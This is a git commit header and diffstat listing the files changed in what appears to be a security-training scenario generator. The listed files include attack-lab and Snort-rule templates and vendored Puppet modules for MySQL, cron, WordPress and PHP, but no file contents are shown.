From 5208ae5cc76c6b5abe4834ada6d117b587ef6406 Mon Sep 17 00:00:00 2001 From: ts Date: Fri, 21 Sep 2018 12:27:42 +0100 Subject: [PATCH 001/201] Squashed WNS + IRI DL work --- Gemfile | 2 +- ads_students | 1 + lib/batch/batch_secgen.rb | 2 +- lib/helpers/ovirt.rb | 218 +- lib/objects/system.rb | 6 +- lib/templates/Vagrantfile.erb | 8 +- .../bases/debian_stretch/secgen_metadata.xml | 22 + .../secgen_metadata.xml | 21 + .../compression/zip/secgen_local/local.rb | 4 +- .../random_wordpress_1x/manifests/.no_puppet | 0 .../random_wordpress_1x.pp | 0 .../random_wordpress_1x/secgen_local/local.rb | 18 + .../random_wordpress_1x/secgen_metadata.xml | 20 + .../random_wordpress_2x/manifests/.no_puppet | 0 .../random_wordpress_2x.pp | 0 .../random_wordpress_2x/secgen_local/local.rb | 18 + .../random_wordpress_2x/secgen_metadata.xml | 20 + .../random_wordpress_3x/manifests/.no_puppet | 0 .../random_wordpress_3x.pp | 0 .../random_wordpress_3x/secgen_local/local.rb | 17 + .../random_wordpress_3x/secgen_metadata.xml | 20 + .../random_wordpress_4x/manifests/.no_puppet | 0 .../random_wordpress_4x.pp | 0 .../random_wordpress_4x/secgen_local/local.rb | 18 + .../random_wordpress_4x/secgen_metadata.xml | 20 + .../manifests/.no_puppet | 0 .../random_wordpress_version.pp | 0 .../secgen_local/local.rb | 21 + .../secgen_metadata.xml | 20 + .../hacker_vs_hackerbot_1and2.pp | 0 .../manifests/.no_puppet | 0 .../secgen_local/local.rb | 55 + .../secgen_metadata.xml | 49 + .../shared/labsheet.html.erb | 29 + .../shared/license.md.erb | 4 + .../templates/backups_attack1.xml.erb | 23 + .../backups_rsync_steps_attacks.xml.erb | 115 + .../templates/exfiltration_rule_1.xml.erb | 48 + .../templates/exfiltration_rule_2.xml.erb | 46 + .../templates/file_perms_attack_1.xml.erb | 19 + .../templates/file_perms_attack_2.xml.erb | 29 + .../templates/file_perms_attack_3.xml.erb | 24 + .../templates/file_perms_attack_4.xml.erb | 21 + .../templates/integrity_attack1.xml.erb | 36 + .../templates/integrity_attack2.xml.erb | 20 + .../templates/integrity_attack3.xml.erb | 19 + .../templates/integrity_attack4.xml.erb | 27 + .../templates/integrity_attack5.xml.erb | 26 + .../templates/integrity_attack6.xml.erb | 26 + .../templates/integrity_attack7.xml.erb | 27 + .../templates/intro.md.erb | 119 + .../templates/lab.xml.erb | 170 + .../templates/labsheet.html.erb | 121 + .../templates/license.md.erb | 6 + .../templates/live_analysis_1.xml.erb | 30 + .../templates/network_monitoring_1.xml.erb | 22 + .../templates/network_monitoring_2.xml.erb | 20 + .../templates/network_monitoring_3.xml.erb | 25 + .../templates/random_service_ids_rule.xml.erb | 31 + .../templates/snort_rule_1.xml.erb | 34 + .../templates/snort_rule_2.xml.erb | 26 + .../templates/snort_rule_3.xml.erb | 33 + .../templates/snort_rule_3__3flags.xml.erb | 42 + .../templates/snort_rule_4.xml.erb | 34 + .../mysql/.fixtures.yml | 7 + .../mysql/.geppetto-rc.json | 9 + .../mysql/.gitattributes | 5 + .../mysql_stretch_compatible/mysql/.gitignore | 23 + .../mysql/.nodeset.yml | 31 + .../mysql_stretch_compatible/mysql/.project | 23 + .../mysql_stretch_compatible/mysql/.rspec | 2 + .../mysql/.rubocop.yml | 108 + .../mysql/.rubocop_todo.yml | 2 + .../mysql_stretch_compatible/mysql/.sync.yml | 69 + .../mysql/.travis.yml | 64 + .../mysql/CHANGELOG.md | 885 +++ .../mysql/CONTRIBUTING.md | 271 + .../mysql_stretch_compatible/mysql/Gemfile | 137 + .../mysql/LICENSE | 0 .../mysql/MAINTAINERS.md | 6 + .../mysql_stretch_compatible/mysql/NOTICE | 15 + .../mysql_stretch_compatible/mysql/README.md | 1329 ++++ .../mysql_stretch_compatible/mysql/Rakefile | 4 + .../{ => mysql_stretch_compatible}/mysql/TODO | 0 .../mysql/examples/backup.pp | 0 .../mysql/examples/bindings.pp | 0 .../mysql/examples/java.pp | 0 .../mysql/examples/mysql_database.pp | 0 .../mysql/examples/mysql_db.pp | 0 .../mysql/examples/mysql_grant.pp | 0 .../mysql/examples/mysql_plugin.pp | 0 .../mysql/examples/mysql_user.pp | 0 .../mysql/examples/perl.pp | 0 .../mysql/examples/python.pp | 0 .../mysql/examples/ruby.pp | 0 .../mysql/examples/server.pp | 0 .../mysql/examples/server/account_security.pp | 0 .../mysql/examples/server/config.pp | 0 .../mysql/lib/facter/mysql_server_id.rb | 13 + .../mysql/lib/facter/mysql_version.rb | 6 + .../mysql/lib/facter/mysqld_version.rb | 5 + .../parser/functions/mysql_deepmerge.rb | 59 + .../puppet/parser/functions/mysql_dirname.rb | 15 + .../puppet/parser/functions/mysql_password.rb | 18 + .../parser/functions/mysql_strip_hash.rb | 19 + .../mysql/lib/puppet/provider/mysql.rb | 119 + .../puppet/provider/mysql_database/mysql.rb | 65 + .../puppet/provider/mysql_datadir/mysql.rb | 92 + .../lib/puppet/provider/mysql_grant/mysql.rb | 176 + .../lib/puppet/provider/mysql_plugin/mysql.rb | 51 + .../lib/puppet/provider/mysql_user/mysql.rb | 206 + .../mysql/lib/puppet/type/mysql_database.rb | 24 + .../mysql/lib/puppet/type/mysql_datadir.rb | 34 + .../mysql/lib/puppet/type/mysql_grant.rb | 117 + .../mysql/lib/puppet/type/mysql_plugin.rb | 16 + .../mysql/lib/puppet/type/mysql_user.rb | 115 + .../mysql/locales/config.yaml | 26 + .../mysql/locales/ja/puppetlabs-mysql.po | 190 + .../mysql/locales/puppetlabs-mysql.pot | 176 + .../mysql/manifests/backup/mysqlbackup.pp | 107 + .../mysql/manifests/backup/mysqldump.pp | 77 + .../mysql/manifests/backup/xtrabackup.pp | 85 + .../mysql/manifests/bindings.pp | 63 + .../mysql/manifests/bindings/client_dev.pp | 15 + .../mysql/manifests/bindings/daemon_dev.pp | 15 + .../mysql/manifests/bindings/java.pp | 0 .../mysql/manifests/bindings/perl.pp | 0 .../mysql/manifests/bindings/php.pp | 0 .../mysql/manifests/bindings/python.pp | 0 .../mysql/manifests/bindings/ruby.pp | 0 .../mysql/manifests/client.pp | 27 + .../mysql/manifests/client/install.pp | 0 .../mysql/manifests/db.pp | 65 + .../mysql/manifests/params.pp | 498 ++ .../mysql/manifests/server.pp | 89 + .../manifests/server/account_security.pp | 39 + .../mysql/manifests/server/backup.pp | 58 + .../mysql/manifests/server/binarylog.pp | 22 + .../mysql/manifests/server/config.pp | 58 + .../mysql/manifests/server/install.pp | 0 .../mysql/manifests/server/installdb.pp | 46 + .../mysql/manifests/server/monitor.pp | 0 .../mysql/manifests/server/mysqltuner.pp | 54 + .../mysql/manifests/server/providers.pp | 0 .../mysql/manifests/server/root_password.pp | 0 .../mysql/manifests/server/service.pp | 62 + .../mysql/metadata.json | 89 + .../mysql/mysql.pp | 0 .../mysql/readmes/README_ja_JP.md | 1329 ++++ .../mysql/secgen_metadata.xml | 5 +- .../mysql/spec/acceptance/locales_spec.rb | 103 + .../spec/acceptance/mysql_backup_spec.rb | 202 + .../mysql/spec/acceptance/mysql_db_spec.rb | 68 + .../mysql/spec/acceptance/mysql_helper.rb | 8 + .../spec/acceptance/mysql_server_spec.rb | 102 + .../spec/acceptance/nodesets/centos-7-x64.yml | 10 + .../spec/acceptance/nodesets/debian-8-x64.yml | 10 + .../spec/acceptance/nodesets/default.yml | 10 + .../acceptance/nodesets/docker/centos-7.yml | 12 + .../acceptance/nodesets/docker/debian-8.yml | 11 + .../nodesets/docker/ubuntu-14.04.yml | 12 + .../mysql/spec/acceptance/sql_task_spec.rb | 23 + .../acceptance/types/mysql_database_spec.rb | 73 + .../spec/acceptance/types/mysql_grant_spec.rb | 748 ++ .../acceptance/types/mysql_plugin_spec.rb | 78 + .../spec/acceptance/types/mysql_user_spec.rb | 214 + .../spec/classes/graceful_failures_spec.rb | 16 + .../mysql/spec/classes/mycnf_template_spec.rb | 85 + .../mysql/spec/classes/mysql_bindings_spec.rb | 32 + .../mysql/spec/classes/mysql_client_spec.rb | 35 + .../mysql_server_account_security_spec.rb | 83 + .../spec/classes/mysql_server_backup_spec.rb | 405 + .../spec/classes/mysql_server_monitor_spec.rb | 36 + .../classes/mysql_server_mysqltuner_spec.rb | 44 + .../mysql/spec/classes/mysql_server_spec.rb | 256 + .../mysql/spec/default_facts.yml | 8 + .../mysql/spec/defines/mysql_db_spec.rb | 75 + .../mysql/spec/spec_helper.rb | 24 + .../mysql/spec/spec_helper_acceptance.rb | 57 + .../mysql/spec/spec_helper_local.rb | 2 + .../spec/unit/facter/mysql_server_id_spec.rb | 27 + .../spec/unit/facter/mysql_version_spec.rb | 18 + .../spec/unit/facter/mysqld_version_spec.rb | 18 + .../puppet/functions/mysql_deepmerge_spec.rb | 102 + .../puppet/functions/mysql_password_spec.rb | 36 + .../provider/mysql_database/mysql_spec.rb | 113 + .../provider/mysql_plugin/mysql_spec.rb | 68 + .../puppet/provider/mysql_user/mysql_spec.rb | 382 + .../unit/puppet/type/mysql_database_spec.rb | 25 + .../spec/unit/puppet/type/mysql_grant_spec.rb | 102 + .../unit/puppet/type/mysql_plugin_spec.rb | 20 + .../spec/unit/puppet/type/mysql_user_spec.rb | 123 + .../mysql/tasks/export.json | 22 + .../mysql/tasks/export.rb | 30 + .../mysql/tasks/sql.json | 22 + .../mysql/tasks/sql.rb | 29 + .../mysql/templates/meb.cnf.erb | 0 .../mysql/templates/my.cnf.erb | 0 .../mysql/templates/my.cnf.pass.erb | 0 .../mysql/templates/mysqlbackup.sh.erb | 114 + .../mysql/templates/xtrabackup.sh.erb | 37 + .../mysql/CHANGELOG.md | 0 .../mysql/CONTRIBUTING.md | 0 .../mysql/Gemfile | 0 .../mysql_wheezy_compatible/mysql/LICENSE | 202 + .../mysql/NOTICE | 0 .../mysql/README.md | 0 .../mysql/Rakefile | 0 .../mysql_wheezy_compatible/mysql/TODO | 8 + .../mysql/checksums.json | 0 .../mysql/examples/backup.pp | 9 + .../mysql/examples/bindings.pp | 3 + .../mysql/examples/java.pp | 1 + .../mysql/examples/mysql_database.pp | 17 + .../mysql/examples/mysql_db.pp | 17 + .../mysql/examples/mysql_grant.pp | 5 + .../mysql/examples/mysql_plugin.pp | 23 + .../mysql/examples/mysql_user.pp | 32 + .../mysql/examples/perl.pp | 1 + .../mysql/examples/python.pp | 1 + .../mysql/examples/ruby.pp | 1 + .../mysql/examples/server.pp | 3 + .../mysql/examples/server/account_security.pp | 4 + .../mysql/examples/server/config.pp | 3 + .../mysql/lib/facter/mysql_server_id.rb | 0 .../mysql/lib/facter/mysql_version.rb | 0 .../parser/functions/mysql_deepmerge.rb | 0 .../puppet/parser/functions/mysql_dirname.rb | 0 .../puppet/parser/functions/mysql_password.rb | 0 .../parser/functions/mysql_strip_hash.rb | 0 .../parser/functions/mysql_table_exists.rb | 0 .../mysql/lib/puppet/provider/mysql.rb | 0 .../puppet/provider/mysql_database/mysql.rb | 0 .../puppet/provider/mysql_datadir/mysql.rb | 0 .../lib/puppet/provider/mysql_grant/mysql.rb | 0 .../lib/puppet/provider/mysql_plugin/mysql.rb | 0 .../lib/puppet/provider/mysql_user/mysql.rb | 0 .../mysql/lib/puppet/type/mysql_database.rb | 0 .../mysql/lib/puppet/type/mysql_datadir.rb | 0 .../mysql/lib/puppet/type/mysql_grant.rb | 0 .../mysql/lib/puppet/type/mysql_plugin.rb | 0 .../mysql/lib/puppet/type/mysql_user.rb | 0 .../mysql/manifests/backup/mysqlbackup.pp | 0 .../mysql/manifests/backup/mysqldump.pp | 0 .../mysql/manifests/backup/xtrabackup.pp | 0 .../mysql/manifests/bindings.pp | 0 .../mysql/manifests/bindings/client_dev.pp | 0 .../mysql/manifests/bindings/daemon_dev.pp | 0 .../mysql/manifests/bindings/java.pp | 11 + .../mysql/manifests/bindings/perl.pp | 11 + .../mysql/manifests/bindings/php.pp | 11 + .../mysql/manifests/bindings/python.pp | 11 + .../mysql/manifests/bindings/ruby.pp | 11 + .../mysql/manifests/client.pp | 0 .../mysql/manifests/client/install.pp | 14 + .../mysql/manifests/db.pp | 0 .../mysql/manifests/params.pp | 0 .../mysql/manifests/server.pp | 0 .../manifests/server/account_security.pp | 0 .../mysql/manifests/server/backup.pp | 0 .../mysql/manifests/server/config.pp | 0 .../mysql/manifests/server/install.pp | 13 + .../mysql/manifests/server/installdb.pp | 0 .../mysql/manifests/server/monitor.pp | 24 + .../mysql/manifests/server/mysqltuner.pp | 0 .../mysql/manifests/server/providers.pp | 8 + .../mysql/manifests/server/root_password.pp | 46 + .../mysql/manifests/server/service.pp | 0 .../mysql/metadata.json | 0 .../mysql_wheezy_compatible/mysql/mysql.pp | 11 + .../mysql/secgen_metadata.xml | 33 + .../spec/acceptance/mysql_backup_spec.rb | 0 .../mysql/spec/acceptance/mysql_db_spec.rb | 0 .../spec/acceptance/mysql_server_spec.rb | 0 .../acceptance/nodesets/centos-510-x64.yml | 0 .../acceptance/nodesets/centos-59-x64.yml | 0 .../acceptance/nodesets/centos-64-x64-pe.yml | 0 .../acceptance/nodesets/centos-65-x64.yml | 0 .../spec/acceptance/nodesets/default.yml | 0 .../acceptance/nodesets/fedora-18-x64.yml | 0 .../spec/acceptance/nodesets/sles-11-x64.yml | 0 .../nodesets/ubuntu-server-10044-x64.yml | 0 .../nodesets/ubuntu-server-12042-x64.yml | 0 .../nodesets/ubuntu-server-1404-x64.yml | 0 .../acceptance/types/mysql_database_spec.rb | 0 .../spec/acceptance/types/mysql_grant_spec.rb | 0 .../acceptance/types/mysql_plugin_spec.rb | 0 .../spec/acceptance/types/mysql_user_spec.rb | 0 .../spec/classes/graceful_failures_spec.rb | 0 .../mysql/spec/classes/mycnf_template_spec.rb | 0 .../mysql/spec/classes/mysql_bindings_spec.rb | 0 .../mysql/spec/classes/mysql_client_spec.rb | 0 .../mysql_server_account_security_spec.rb | 0 .../spec/classes/mysql_server_backup_spec.rb | 0 .../spec/classes/mysql_server_monitor_spec.rb | 0 .../classes/mysql_server_mysqltuner_spec.rb | 0 .../mysql/spec/classes/mysql_server_spec.rb | 0 .../mysql/spec/defines/mysql_db_spec.rb | 0 .../mysql/spec/spec.opts | 0 .../mysql/spec/spec_helper.rb | 0 .../mysql/spec/spec_helper_acceptance.rb | 0 .../mysql/spec/spec_helper_local.rb | 0 .../spec/unit/facter/mysql_server_id_spec.rb | 0 .../spec/unit/facter/mysql_version_spec.rb | 0 .../puppet/functions/mysql_deepmerge_spec.rb | 0 .../puppet/functions/mysql_password_spec.rb | 0 .../functions/mysql_table_exists_spec.rb | 0 .../provider/mysql_database/mysql_spec.rb | 0 .../provider/mysql_plugin/mysql_spec.rb | 0 .../puppet/provider/mysql_user/mysql_spec.rb | 0 .../unit/puppet/type/mysql_database_spec.rb | 0 .../spec/unit/puppet/type/mysql_grant_spec.rb | 0 .../unit/puppet/type/mysql_plugin_spec.rb | 0 .../spec/unit/puppet/type/mysql_user_spec.rb | 0 .../mysql/templates/meb.cnf.erb | 18 + .../mysql/templates/my.cnf.erb | 24 + .../mysql/templates/my.cnf.pass.erb | 11 + .../mysql/templates/mysqlbackup.sh.erb | 0 .../mysql/templates/xtrabackup.sh.erb | 0 .../apache/manifests/init.pp | 1 + .../apache/manifests/vhost.pp | 2 +- .../apache/secgen_metadata.xml | 3 + modules/services/unix/http/tomcat/tomcat.pp | 4 +- .../requires_ubuntu/manifests/install.pp | 5 + .../requires_ubuntu/manifests/service.pp | 5 + .../requires_ubuntu/requires_ubuntu.pp | 2 + .../requires_ubuntu/secgen_metadata.xml | 18 + .../unix/hackerbot/manifests/install.pp | 4 +- .../unix/hackerbot/manifests/service.pp | 7 - .../unix/languages/java/manifests/params.pp | 2 +- .../cron/.github/CONTRIBUTING.md | 109 + .../cron/.github/ISSUE_TEMPLATE.md | 26 + .../cron/.github/PULL_REQUEST_TEMPLATE.md | 8 + .../unix/puppet_module/cron/.gitignore | 20 + .../unix/puppet_module/cron/.msync.yml | 1 + .../unix/puppet_module/cron/.overcommit.yml | 63 + .../unix/puppet_module/cron/.pmtignore | 20 + .../utilities/unix/puppet_module/cron/.rspec | 2 + .../unix/puppet_module/cron/.rspec_parallel | 1 + .../unix/puppet_module/cron/.rubocop.yml | 545 ++ .../unix/puppet_module/cron/.sync.yml | 5 + .../unix/puppet_module/cron/.travis.yml | 46 + .../unix/puppet_module/cron/.yardopts | 2 + .../unix/puppet_module/cron/CHANGELOG.md | 110 + .../utilities/unix/puppet_module/cron/Gemfile | 77 + .../unix/puppet_module/cron/HISTORY.md | 81 + .../utilities/unix/puppet_module/cron/LICENSE | 203 + .../unix/puppet_module/cron/README.md | 396 + .../unix/puppet_module/cron/Rakefile | 92 + .../utilities/unix/puppet_module/cron/cron.pp | 0 .../unix/puppet_module/cron/data/common.yaml | 10 + .../puppet_module/cron/data/os/Gentoo.yaml | 2 + .../puppet_module/cron/data/os/RedHat.yaml | 3 + .../puppet_module/cron/data/os/RedHat/5.yaml | 3 + .../unix/puppet_module/cron/hiera.yaml | 14 + .../puppet_module/cron/manifests/.gitkeep | 0 .../puppet_module/cron/manifests/daily.pp | 63 + .../puppet_module/cron/manifests/hourly.pp | 58 + .../unix/puppet_module/cron/manifests/init.pp | 131 + .../puppet_module/cron/manifests/install.pp | 15 + .../unix/puppet_module/cron/manifests/job.pp | 78 + .../cron/manifests/job/multiple.pp | 79 + .../puppet_module/cron/manifests/monthly.pp | 68 + .../puppet_module/cron/manifests/service.pp | 15 + .../puppet_module/cron/manifests/weekly.pp | 68 + .../unix/puppet_module/cron/metadata.json | 68 + .../puppet_module/cron/secgen_metadata.xml | 14 + .../acceptance/nodesets/archlinux-2-x64.yml | 13 + .../acceptance/nodesets/centos-511-x64.yml | 15 + .../spec/acceptance/nodesets/centos-6-x64.yml | 15 + .../acceptance/nodesets/centos-66-x64-pe.yml | 17 + .../spec/acceptance/nodesets/centos-7-x64.yml | 15 + .../acceptance/nodesets/debian-78-x64.yml | 15 + .../acceptance/nodesets/debian-82-x64.yml | 15 + .../acceptance/nodesets/docker/centos-5.yml | 19 + .../acceptance/nodesets/docker/centos-6.yml | 20 + .../acceptance/nodesets/docker/centos-7.yml | 19 + .../acceptance/nodesets/docker/debian-7.yml | 18 + .../acceptance/nodesets/docker/debian-8.yml | 20 + .../acceptance/nodesets/docker/debian-9.yml | 20 + .../nodesets/docker/ubuntu-12.04.yml | 19 + .../nodesets/docker/ubuntu-14.04.yml | 21 + .../nodesets/docker/ubuntu-16.04.yml | 19 + .../nodesets/ec2/amazonlinux-2016091.yml | 31 + .../nodesets/ec2/image_templates.yaml | 34 + .../acceptance/nodesets/ec2/rhel-73-x64.yml | 29 + .../nodesets/ec2/sles-12sp2-x64.yml | 29 + .../nodesets/ec2/ubuntu-1604-x64.yml | 29 + .../nodesets/ec2/windows-2016-base-x64.yml | 29 + .../acceptance/nodesets/fedora-25-x64.yml | 18 + .../nodesets/ubuntu-server-1204-x64.yml | 15 + .../nodesets/ubuntu-server-1404-x64.yml | 15 + .../nodesets/ubuntu-server-1604-x64.yml | 15 + .../cron/spec/classes/coverage_spec.rb | 4 + .../cron/spec/classes/cron_spec.rb | 147 + .../cron/spec/classes/install_spec.rb | 89 + .../cron/spec/classes/service_spec.rb | 86 + .../puppet_module/cron/spec/default_facts.yml | 14 + .../cron/spec/defines/daily_spec.rb | 34 + .../cron/spec/defines/hourly_spec.rb | 33 + .../cron/spec/defines/job_spec.rb | 71 + .../cron/spec/defines/monthly_spec.rb | 35 + .../cron/spec/defines/multiple_spec.rb | 64 + .../cron/spec/defines/weekly_spec.rb | 35 + .../puppet_module/cron/spec/hosts/.gitkeep | 0 .../puppet_module/cron/spec/spec_helper.rb | 32 + .../cron/spec/spec_helper_methods.rb | 7 + .../puppet_module/cron/templates/.gitkeep | 0 .../unix/puppet_module/cron/templates/job.erb | 24 + .../puppet_module/cron/templates/multiple.erb | 47 + .../puppet_module/cron/templates/users.epp | 7 + .../puppet_module/wordpress/.fixtures.yml | 7 + .../unix/puppet_module/wordpress/.gitignore | 22 + .../puppet_module/wordpress/.gitlab-ci.yml | 70 + .../unix/puppet_module/wordpress/.pdkignore | 22 + .../unix/puppet_module/wordpress/.rspec | 2 + .../unix/puppet_module/wordpress/.rubocop.yml | 107 + .../unix/puppet_module/wordpress/.travis.yml | 48 + .../unix/puppet_module/wordpress/.yardopts | 1 + .../unix/puppet_module/wordpress/CHANGELOG | 73 + .../unix/puppet_module/wordpress/Gemfile | 126 + .../unix/puppet_module/wordpress/LICENSE | 202 + .../unix/puppet_module/wordpress/Modulefile | 13 + .../puppet_module/wordpress/README.markdown | 215 + .../unix/puppet_module/wordpress/Rakefile | 2 + .../unix/puppet_module/wordpress/appveyor.yml | 57 + .../puppet_module/wordpress/checksums.json | 32 + .../puppet_module/wordpress/manifests/app.pp | 48 + .../puppet_module/wordpress/manifests/conf.pp | 14 + .../puppet_module/wordpress/manifests/db.pp | 17 + .../puppet_module/wordpress/manifests/init.pp | 139 + .../wordpress/manifests/instance.pp | 135 + .../wordpress/manifests/instance/app.pp | 146 + .../wordpress/manifests/instance/db.pp | 30 + .../puppet_module/wordpress/metadata.json | 61 + .../wordpress/secgen_metadata.xml | 14 + .../acceptance/nodesets/centos-6-vcloud.yml | 15 + .../acceptance/nodesets/centos-64-x64-pe.yml | 12 + .../acceptance/nodesets/centos-64-x64.yml | 10 + .../acceptance/nodesets/centos-65-x64.yml | 10 + .../spec/acceptance/nodesets/default.yml | 10 + .../acceptance/nodesets/fedora-18-x64.yml | 10 + .../spec/acceptance/nodesets/sles-11-x64.yml | 10 + .../nodesets/ubuntu-server-10044-x64.yml | 10 + .../nodesets/ubuntu-server-12042-x64.yml | 10 + .../spec/acceptance/wordpress_spec.rb | 102 + .../wordpress/spec/classes/wordpress_spec.rb | 36 + .../wordpress/spec/default_facts.yml | 8 + .../wordpress/spec/defines/wordpress_spec.rb | 45 + .../puppet_module/wordpress/spec/spec.opts | 4 + .../wordpress/spec/spec_helper.rb | 30 + .../wordpress/spec/spec_helper_acceptance.rb | 35 + .../wordpress/templates/wordpress_conf.sh.erb | 26 + .../wordpress/templates/wp-config.php.erb | 114 + .../wordpress/templates/wp-keysalts.php.erb | 21 + .../puppet_module/wordpress/tests/init.pp | 7 + .../unix/puppet_module/wordpress/wordpress.pp | 0 .../unix/web_frameworks/php/CHANGELOG.md | 288 + .../utilities/unix/web_frameworks/php/Gemfile | 77 + .../unix/web_frameworks/php/HISTORY.md | 222 + .../unix/web_frameworks/php/LICENSE.txt | 23 + .../unix/web_frameworks/php/README.md | 334 + .../unix/web_frameworks/php/Rakefile | 92 + .../php/docs/Puppet/Parser/Functions.html | 105 + .../unix/web_frameworks/php/docs/_index.html | 369 + .../web_frameworks/php/docs/css/common.css | 8 + .../web_frameworks/php/docs/css/full_list.css | 58 + .../web_frameworks/php/docs/css/style.css | 492 ++ .../web_frameworks/php/docs/file.README.html | 340 + .../unix/web_frameworks/php/docs/frames.html | 17 + .../unix/web_frameworks/php/docs/index.html | 340 + .../unix/web_frameworks/php/docs/js/app.js | 248 + .../web_frameworks/php/docs/js/full_list.js | 216 + .../unix/web_frameworks/php/docs/js/jquery.js | 4 + .../php/docs/puppet_class_list.html | 209 + .../php/docs/puppet_classes/php.html | 906 +++ .../php_3A_3Aapache_config.html | 182 + .../php/docs/puppet_classes/php_3A_3Acli.html | 182 + .../puppet_classes/php_3A_3Acomposer.html | 302 + .../php_3A_3Acomposer_3A_3Aauto_update.html | 246 + .../php/docs/puppet_classes/php_3A_3Adev.html | 216 + .../puppet_classes/php_3A_3Aembedded.html | 244 + .../php/docs/puppet_classes/php_3A_3Afpm.html | 482 ++ .../php_3A_3Afpm_3A_3Aconfig.html | 596 ++ .../php_3A_3Afpm_3A_3Aservice.html | 245 + .../docs/puppet_classes/php_3A_3Aglobal.html | 175 + .../docs/puppet_classes/php_3A_3Aglobals.html | 384 + .../puppet_classes/php_3A_3Apackages.html | 232 + .../docs/puppet_classes/php_3A_3Aparams.html | 490 ++ .../docs/puppet_classes/php_3A_3Apear.html | 258 + .../docs/puppet_classes/php_3A_3Aphpunit.html | 248 + .../php_3A_3Aphpunit_3A_3Aauto_update.html | 189 + .../docs/puppet_classes/php_3A_3Arepo.html | 169 + .../php_3A_3Arepo_3A_3Adebian.html | 312 + .../php_3A_3Arepo_3A_3Aredhat.html | 177 + .../php_3A_3Arepo_3A_3Asuse.html | 175 + .../php_3A_3Arepo_3A_3Aubuntu.html | 177 + .../php/docs/puppet_defined_type_list.html | 104 + .../php_3A_3Aapache_vhost.html | 223 + .../puppet_defined_types/php_3A_3Aconfig.html | 174 + .../php_3A_3Aconfig_3A_3Asetting.html | 226 + .../php_3A_3Aextension.html | 460 ++ .../php_3A_3Aextension_3A_3Aconfig.html | 418 + .../php_3A_3Aextension_3A_3Ainstall.html | 356 + .../php_3A_3Afpm_3A_3Apool.html | 935 +++ .../php/docs/puppet_function_list.html | 71 + .../ensure_prefix.html | 259 + .../to_hash_settings.html | 224 + .../php/docs/puppet_provider_list.html | 71 + .../docs/puppet_providers_package/pear.html | 129 + .../docs/puppet_providers_package/pecl.html | 129 + .../php/docs/top-level-namespace.html | 98 + .../php/lib/facter/phpversion.rb | 10 + .../puppet/parser/functions/ensure_prefix.rb | 57 + .../parser/functions/to_hash_settings.rb | 37 + .../php/lib/puppet/provider/package/pear.rb | 109 + .../php/lib/puppet/provider/package/pecl.rb | 38 + .../php/manifests/apache_config.pp | 26 + .../php/manifests/apache_vhost.pp | 35 + .../unix/web_frameworks/php/manifests/cli.pp | 26 + .../web_frameworks/php/manifests/composer.pp | 61 + .../php/manifests/composer/auto_update.pp | 54 + .../web_frameworks/php/manifests/config.pp | 32 + .../php/manifests/config/setting.pp | 53 + .../unix/web_frameworks/php/manifests/dev.pp | 48 + .../web_frameworks/php/manifests/embedded.pp | 47 + .../web_frameworks/php/manifests/extension.pp | 109 + .../php/manifests/extension/config.pp | 120 + .../php/manifests/extension/install.pp | 90 + .../unix/web_frameworks/php/manifests/fpm.pp | 121 + .../php/manifests/fpm/config.pp | 134 + .../web_frameworks/php/manifests/fpm/pool.pp | 199 + .../php/manifests/fpm/service.pp | 50 + .../web_frameworks/php/manifests/global.pp | 30 + .../web_frameworks/php/manifests/globals.pp | 126 + .../unix/web_frameworks/php/manifests/init.pp | 245 + .../web_frameworks/php/manifests/packages.pp | 40 + .../web_frameworks/php/manifests/params.pp | 192 + .../unix/web_frameworks/php/manifests/pear.pp | 72 + .../web_frameworks/php/manifests/phpunit.pp | 49 + .../php/manifests/phpunit/auto_update.pp | 30 + .../unix/web_frameworks/php/manifests/repo.pp | 33 + .../php/manifests/repo/debian.pp | 101 + .../php/manifests/repo/redhat.pp | 35 + .../web_frameworks/php/manifests/repo/suse.pp | 25 + .../php/manifests/repo/ubuntu.pp | 33 + .../unix/web_frameworks/php/metadata.json | 89 + .../utilities/unix/web_frameworks/php/php.pp | 1 + .../web_frameworks/php/secgen_metadata.xml | 20 + .../acceptance/nodesets/archlinux-2-x64.yml | 13 + .../acceptance/nodesets/centos-511-x64.yml | 15 + .../spec/acceptance/nodesets/centos-6-x64.yml | 15 + .../acceptance/nodesets/centos-66-x64-pe.yml | 17 + .../acceptance/nodesets/centos-66-x64.yml | 15 + .../spec/acceptance/nodesets/centos-7-x64.yml | 15 + .../acceptance/nodesets/centos-72-x64.yml | 15 + .../acceptance/nodesets/debian-78-x64.yml | 15 + .../acceptance/nodesets/debian-82-x64.yml | 15 + .../acceptance/nodesets/docker/centos-5.yml | 19 + .../acceptance/nodesets/docker/centos-6.yml | 20 + .../acceptance/nodesets/docker/centos-7.yml | 19 + .../acceptance/nodesets/docker/debian-7.yml | 18 + .../acceptance/nodesets/docker/debian-8.yml | 20 + .../acceptance/nodesets/docker/debian-9.yml | 20 + .../nodesets/docker/ubuntu-12.04.yml | 19 + .../nodesets/docker/ubuntu-14.04.yml | 21 + .../nodesets/docker/ubuntu-16.04.yml | 19 + .../nodesets/ec2/amazonlinux-2016091.yml | 31 + .../nodesets/ec2/image_templates.yaml | 34 + .../acceptance/nodesets/ec2/rhel-73-x64.yml | 29 + .../nodesets/ec2/sles-12sp2-x64.yml | 29 + .../nodesets/ec2/ubuntu-1604-x64.yml | 29 + .../nodesets/ec2/windows-2016-base-x64.yml | 29 + .../acceptance/nodesets/fedora-24-x64.yml | 15 + .../acceptance/nodesets/fedora-25-x64.yml | 16 + .../acceptance/nodesets/fedora-26-x64.yml | 16 + .../acceptance/nodesets/fedora-27-x64.yml | 18 + .../nodesets/ubuntu-server-1204-x64.yml | 15 + .../nodesets/ubuntu-server-1404-x64.yml | 15 + .../nodesets/ubuntu-server-1604-x64.yml | 15 + .../php/spec/acceptance/php_spec.rb | 25 + .../php/spec/classes/coverage_spec.rb | 4 + .../php/spec/classes/php_fpm_config_spec.rb | 40 + .../php/spec/classes/php_fpm_service_spec.rb | 34 + .../php/spec/classes/php_fpm_spec.rb | 46 + .../php/spec/classes/php_repo_spec.rb | 31 + .../php/spec/classes/php_repo_ubuntu_spec.rb | 49 + .../php/spec/classes/php_spec.rb | 125 + .../web_frameworks/php/spec/default_facts.yml | 14 + .../php/spec/defines/config_spec.rb | 114 + .../php/spec/defines/extension_spec.rb | 219 + .../php/spec/defines/fpm_pool_spec.rb | 37 + .../unit/provider/package/pear/list_a | 22 + .../package/pear/remote-info_benchmark | 11 + .../provider/package/pear/remote-info_zip | 10 + .../spec/functions/to_hash_settings_spec.rb | 24 + .../web_frameworks/php/spec/spec_helper.rb | 31 + .../php/spec/spec_helper_acceptance.rb | 18 + .../spec/unit/provider/package/pear_spec.rb | 140 + .../spec/unit/provider/package/pecl_spec.rb 